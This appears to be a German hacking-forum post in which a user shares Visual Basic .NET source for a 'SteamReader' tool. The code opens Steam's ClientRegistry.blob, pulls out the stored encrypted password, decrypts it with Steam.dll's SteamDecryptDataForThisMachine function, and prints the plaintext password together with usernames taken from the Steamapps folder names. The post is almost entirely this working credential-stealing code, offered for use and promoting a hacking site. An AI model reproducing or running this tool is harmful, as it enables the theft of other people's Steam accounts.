Frage zu steam

[br00_pwn]

hier mal was dazu

Imports System.Runtime.InteropServices
Imports System.Text
Imports System.IO

Module SteamDecrypt

    <DllImport("Steam.dll", CallingConvention:=CallingConvention.Cdecl)> _
    Public Function SteamDecryptDataForThisMachine(ByVal encryptedData As String, ByVal encryptedDataSize As Integer, ByVal decryptedBuffer As StringBuilder, ByVal decryptedBufferSize As Integer, ByRef decryptedDataSize As Integer) As Integer
    End Function
    Sub Main(ByVal args() As String)
        On Error Resume Next
        Dim Datei As String = Environ("programfiles") & "\Steam\ClientRegistry.blob"
        Dim decryptedDataSize As Integer = 0
        Dim pwd As New StringBuilder
        Dim F As Object
        Dim sInhalt As String
        Dim Phrase As Double
        Dim zwischen As Double = "0"
        Dim di As New DirectoryInfo(Environ("programfiles") & "\Steam\Steamapps")

        Console.Title = "SteamReader>>"
        F = FreeFile()
        FileOpen(F, Datei, OpenMode.Binary)
        sInhalt = InputString(F, LOF(F))
        Phrase = InStr(1, sInhalt, "Phrase")
        sInhalt = Mid(sInhalt, Phrase + 16)
        Dim PWnew As String = (Left(sInhalt, 92))
        Dim encpwd As String = (Left(sInhalt, 92))
        FileClose(F)
        pwd.Length = encpwd.Length / 2
        If SteamDecryptDataForThisMachine(encpwd, encpwd.Length, pwd, pwd.Length, decryptedDataSize) = 0 Then

            Console.WriteLine(Constants.vbLf & " ############################################")
            Console.WriteLine(" ####### Website: www.vb-community.eu #######")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ############################## By Igoe #####")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")
            Console.WriteLine(" ############################################")
            Console.WriteLine(Constants.vbLf & " Password: " & pwd.ToString())
            Console.Write(" Username: ")
            For Each drc As DirectoryInfo In di.GetDirectories()
                If drc.Name = "common" Then GoTo 1
                If drc.Name = "SourceMods" Then GoTo 1
                Console.Write(drc.Name & ", ")
1:
            Next
            Console.WriteLine(Constants.vbLf & " Crypt PW: " & PWnew)
            Console.ReadLine()
        Else
            Console.WriteLine(Constants.vbLf & " ############################################")
            Console.WriteLine(" ####### Website: www.vb-community.eu #######")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ############################## By Igoe #####")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")
            Console.WriteLine(" ############################################")
            Console.WriteLine(Constants.vbLf & " Password: Nicht Gespeichert.")
            For Each drc As DirectoryInfo In di.GetDirectories()
                If drc.Name = "common" Then GoTo 2
                If drc.Name = "SourceMods" Then GoTo 2
                Console.Write(drc.Name & ", ")
2:
            Next
            Console.ReadLine()
        End If


    End Sub
End Module